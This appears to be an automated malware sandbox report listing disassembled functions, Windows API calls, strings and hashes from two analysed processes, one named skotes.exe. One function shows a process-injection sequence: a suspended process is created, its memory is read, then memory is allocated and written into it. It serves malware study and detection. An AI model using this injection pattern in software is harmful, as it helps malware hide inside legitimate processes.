Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 3413d85fdcb8ccccf6e2811b162764a9287eb4f9451c1af6b0269f917f7fa5dd
Instruction ID: 4b4319657f72633ca1de56739b65773733033661729884cb9113e0d38c2e7354
Opcode Fuzzy Hash: 3413d85fdcb8ccccf6e2811b162764a9287eb4f9451c1af6b0269f917f7fa5dd
Instruction Fuzzy Hash: E6F03736502154BBCF626FA9DC089D93F67FB143A1F009021FE1895131CA319920DB94

Function 006DE6C4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 006DE259: GetOEMCP.KERNEL32(00000000,006DE4CB,?,?,avm,006D7661,?), ref: 006DE284

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,avm,006DE512,?,00000000,?,?,?,?,?,?,006D7661), ref: 006DE722
GetCPInfo.KERNEL32(00000000,006DE512,?,avm,006DE512,?,00000000,?,?,?,?,?,?,006D7661,?), ref: 006DE764

Strings

avm, xrefs: 006DE6C6

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID: avm
API String ID: 546120528-4231183248
Opcode ID: 196299dfbf89792fd3f21e4814b1fab0c9233b997ebce8fd702ea248cb3cf704
Instruction ID: ff52e1bb5bdc67cce7aa0493c55e2322385f3a90fb8e27346773ee5b92902873
Opcode Fuzzy Hash: 196299dfbf89792fd3f21e4814b1fab0c9233b997ebce8fd702ea248cb3cf704
Instruction Fuzzy Hash: 85510470E002459EEB21AF75C884AFABBF7EF50304F14456FD0968F352D63A9A46DB90

Function 006E532F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 158fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,00000002,?,00000000,?,00000000,?), ref: 006E540D

Strings

)Zn, xrefs: 006E5363
)Zn, xrefs: 006E53BB, 006E54C9

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: FileRead
String ID: )Zn$)Zn
API String ID: 2738559852-3201105163
Opcode ID: cce85e15795d2ead5ddc9c5df2322fc5dbf2754f392cf7cbbd8baedd77cb9128
Instruction ID: dc926897ede88784e2e82e75ad48188cd7d64864809415d04075331bdade5bd9
Opcode Fuzzy Hash: cce85e15795d2ead5ddc9c5df2322fc5dbf2754f392cf7cbbd8baedd77cb9128
Instruction Fuzzy Hash: A851F631A0578AEBCB20DF59C491BEDB7B2FF08318F208259D456AB3C0E7745982CB91

Function 006BB5D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 006BB65E
RaiseException.KERNEL32(?,?,?,?), ref: 006BB683

Part of subcall function 006D3B04: RaiseException.KERNEL32(E06D7363,00000001,00000003,006FE3B0,?,?,?,006FE3B0), ref: 006D3B64

Part of subcall function 006D8BEC: IsProcessorFeaturePresent.KERNEL32(00000017,006DA72D,?,?,006D694A,?,?,?,?,006D7661,?), ref: 006D8C08

Strings

csm, xrefs: 006BB612

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 369f679598521b5ee45ba39e2cf310b02987e77813acb53da3b4e778ed4638a8
Instruction ID: 2940a685415ef394b7ed86a5967e3998dba017f0f6ad6cafeee46eb3ce7efed2
Opcode Fuzzy Hash: 369f679598521b5ee45ba39e2cf310b02987e77813acb53da3b4e778ed4638a8
Instruction Fuzzy Hash: 8F219AB2D01218AFCF24DF99C945AEEB7BAEF04710F544419E845AB251EBB0AD85CB81

Function 006D1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 006D1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006D17AF

Strings

pContext, xrefs: 006D17A7

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: bae72a4163eab8610fc675950868ab9298c544e8168c0d31ea02c8cb3d335d5b
Instruction ID: bd489710288768f8198f46b07be5153c84a1bfa3eb4a530059616b27449d2316
Opcode Fuzzy Hash: bae72a4163eab8610fc675950868ab9298c544e8168c0d31ea02c8cb3d335d5b
Instruction Fuzzy Hash: 5F110635E00214EBCB55EF18C4849AD77A7AF86360B05806AE9129F352DBB4DD01CBD0

Function 006BCFF1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 006BD21A
___raise_securityfailure.LIBCMT ref: 006BD301

Strings

pWp, xrefs: 006BD2FC

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: pWp
API String ID: 3761405300-240061421
Opcode ID: 9608a349168f0931d0e9d8e55714048c17cd2a7dcd469b51f8807f749fc23e83
Instruction ID: 0683fe5b71ce1e1cbeb132086d77349878770ecdadaac730f907fd258a13f406
Opcode Fuzzy Hash: 9608a349168f0931d0e9d8e55714048c17cd2a7dcd469b51f8807f749fc23e83
Instruction Fuzzy Hash: C421E0B5500B08DED714DF25F949A563BE5FB08314F54D32AE9048A3F0EBB89981DF09

Function 006DA72E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 006DA77E
_free.LIBCMT ref: 006DA7B2

Strings

x!p, xrefs: 006DA7A5

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: _free
String ID: x!p
API String ID: 269201875-2033812517
Opcode ID: 39e9ee13aa1514709ca71f5f4ce2eb4dd469e2e378629ef366a56bd141b815e8
Instruction ID: b058b155f685fb39d9e0698507e33b934954427902cb026eb60416bd77aa6afd
Opcode Fuzzy Hash: 39e9ee13aa1514709ca71f5f4ce2eb4dd469e2e378629ef366a56bd141b815e8
Instruction Fuzzy Hash: 7F01FC36D0D624BAD56277F49C45E6A116B9F04724B15431FFE20A53DBEE448C1301DB

Function 006C0C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 006C0CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 006C0D2A

Strings

p[p, xrefs: 006C0CCF

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p[p
API String ID: 3303180142-2734310625
Opcode ID: d08638af54abee39e7ba7ec09109259d1ba057acaf9cd809bef9111512b46c73
Instruction ID: 21b500d3fc5d053112d6ee7fa20a1086dc9022c8c50fc890be281ab5b4e007ea
Opcode Fuzzy Hash: d08638af54abee39e7ba7ec09109259d1ba057acaf9cd809bef9111512b46c73
Instruction Fuzzy Hash: 2C01B5B0A05605DAEB50FBF86551BBD76E2EF08300F60416EE406EB382DE349E418B69

Function 006DE259 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetOEMCP.KERNEL32(00000000,006DE4CB,?,?,avm,006D7661,?), ref: 006DE284
GetACP.KERNEL32(00000000,006DE4CB,?,?,avm,006D7661,?), ref: 006DE29B

Strings

avm, xrefs: 006DE25B

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID: avm
API String ID: 0-4231183248
Opcode ID: 9ac427235b6cb32b56f5a94e7f9b5c6d26875367f94680aafa92dc79c6f669be
Instruction ID: 96fa6cb396c60db62d7ac76b5d83ef1dfe759b8d5ed6e7418060d18fa1c71906
Opcode Fuzzy Hash: 9ac427235b6cb32b56f5a94e7f9b5c6d26875367f94680aafa92dc79c6f669be
Instruction Fuzzy Hash: 38F06230C00205CBE714EBA4D8597AC77B6BB41339F504346E0299E3E2DB76AA41C795

Function 006BD111 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00705750), ref: 006BD11C
RtlLeaveCriticalSection.NTDLL(00705750), ref: 006BD159

Strings

PWp, xrefs: 006BD116

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID: PWp
API String ID: 3168844106-906120461
Opcode ID: 2fd2bd5f1c09e20b773b72bdac80889197c7815a85097a798bffd965a7883729
Instruction ID: f47ce0fc301b8e36b412a93ba69e83bca8ddd89672b9a04d93eebf46851403e1
Opcode Fuzzy Hash: 2fd2bd5f1c09e20b773b72bdac80889197c7815a85097a798bffd965a7883729
Instruction Fuzzy Hash: 8EF0A771600205DFD7249F18EC48AB67BB6EB46735F10132DE6558B3D1DB351882CB54

Function 006CB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 006CB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006CB961

Strings

pContext, xrefs: 006CB959

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 9810200b254a51c61b18f2c69e2125749d81802a1bc8b1bb204607efcb73f6e1
Instruction ID: 8e1ec18b491fba2855e0ad74bf69c854ab2c84009ce8d2f0349c6fdc28867dc8
Opcode Fuzzy Hash: 9810200b254a51c61b18f2c69e2125749d81802a1bc8b1bb204607efcb73f6e1
Instruction Fuzzy Hash: A8E06839F00208A7CB00F765D84ACADBB7B9EC1720700812FE611A3391EB70EA04CAD4

Function 006C34CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006C34FC

Strings

version, xrefs: 006C34E1
pScheduler, xrefs: 006C34F4

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: ec15a37a834ddd25b3e4246d42478a76e3fdaa065d5276aa201f98121dd3aee0
Instruction ID: 0e04f52f82cf6e68092212bb20f711fb8914a87a2fa003ab11d0e83c3cc77269
Opcode Fuzzy Hash: ec15a37a834ddd25b3e4246d42478a76e3fdaa065d5276aa201f98121dd3aee0
Instruction Fuzzy Hash: ADE0863484020CF6CB29FA55C847FFC77AADB15785F04C12EB921552919BB59788CA85

Analysis Process: skotes.exePID: 1436, Parent PID: 6752COMMON

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	76
Total number of Limit Nodes:	3

Executed Functions

Function 00149A00 Relevance: 24.7, APIs: 16, Instructions: 668COMMON

Download Yara Rule

APIs

Part of subcall function 00148B30: GetTempPathA.KERNEL32(00000104,?,6CA9583A,?,00000000), ref: 00148B77

GetFileAttributesA.KERNEL32(00000000), ref: 00149A73

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFilePathTemp
String ID:
API String ID: 3199926297-0
Opcode ID: 9280bd6e96854a4caa0bcd492a2ae343904fbb4822fcf0e8b10dbdcc8dfbc516
Instruction ID: 600f1800d789a05b12de8172c074bd4baef1ca53649458fc764214bef24b6dbd
Opcode Fuzzy Hash: 9280bd6e96854a4caa0bcd492a2ae343904fbb4822fcf0e8b10dbdcc8dfbc516
Instruction Fuzzy Hash: B342C170D00248DFEF14EBB8C9597DEBBB2AF15314F644648D411772E2D7B54A88CBA2

Function 0017652B Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,0017652A,?,?,?,?,?,00177661), ref: 0017654D
TerminateProcess.KERNEL32(00000000,?,0017652A,?,?,?,?,?,00177661), ref: 00176554
ExitProcess.KERNEL32 ref: 00176566

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: cff1c4e1b90d05b091ed35e2871f372c88d588530c5d9884c4a98454778a1c6e
Instruction ID: 0d33d28f53d57a5140766c7cfe2fd338466edf6f993a9f3f30cd4b6b7d75dbb9
Opcode Fuzzy Hash: cff1c4e1b90d05b091ed35e2871f372c88d588530c5d9884c4a98454778a1c6e
Instruction Fuzzy Hash: 0BE0B631000A48AFCB126F58DD0D9493B7AFF54B82B508425F90986936CB35DD92DB80

Function 0017B17D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ext-ms-, xrefs: 0017B1E8
api-ms-, xrefs: 0017B1D4

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: f1a03ce0c12e462ad18cb80d94fa0816404f0f147636d8bd7a8f879b947654d8
Instruction ID: 55b84c052c29e5e7684f387ff670fba9f2b419f575ff7fe327d3d8bc854dbe45
Opcode Fuzzy Hash: f1a03ce0c12e462ad18cb80d94fa0816404f0f147636d8bd7a8f879b947654d8
Instruction Fuzzy Hash: 8D21BB76A4B224ABCB215B64ECC5B6E3778AF457A0F258111E81DA7292D730FD0086E0

Function 0017B244 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8621d01dccbbe2edb2efef0a17367315b33c605bfcfefa0c47d19a9f90bc3a83
Instruction ID: dd635d0cb3061f1c6a36ff9b54bf892bb010b6351a7bb82c5709e6786d77c1c5
Opcode Fuzzy Hash: 8621d01dccbbe2edb2efef0a17367315b33c605bfcfefa0c47d19a9f90bc3a83
Instruction Fuzzy Hash: 2501B5377092119FAB1A8E6DEC81B5E33B6AB86360725C121FE18CB565DB30A841D791

Non-executed Functions

Function 001470A0 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 121
memoryprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 001470CD
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 0014712B
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00147144
GetThreadContext.KERNEL32(?,00000000), ref: 00147159
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 00147179
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 001471BB
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 001471D8
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00147291

Strings

, xrefs: 00147170
VUUU, xrefs: 00146F41
invalid stoi argument, xrefs: 00147090

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: ProcessVirtual$AllocMemory$ContextCreateFileFreeModuleNameReadThreadWrite
String ID: $VUUU$invalid stoi argument
API String ID: 3796053839-3954507777
Opcode ID: a07083fcca1fd75743ebc6eef5e101c0229752ad07f83ecef31f45fb91521e79
Instruction ID: f7528ae14da4af3e57966867be06293cebf354ac08d5dd5ec52555299a4971d1
Opcode Fuzzy Hash: a07083fcca1fd75743ebc6eef5e101c0229752ad07f83ecef31f45fb91521e79
Instruction Fuzzy Hash: 27419171244301BFE7619F54DC06F5A7BE8FF88B00F440529F688E65E0D7B0A954CB96

Function 00160E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00160F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00160F62

Part of subcall function 0016265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00162750

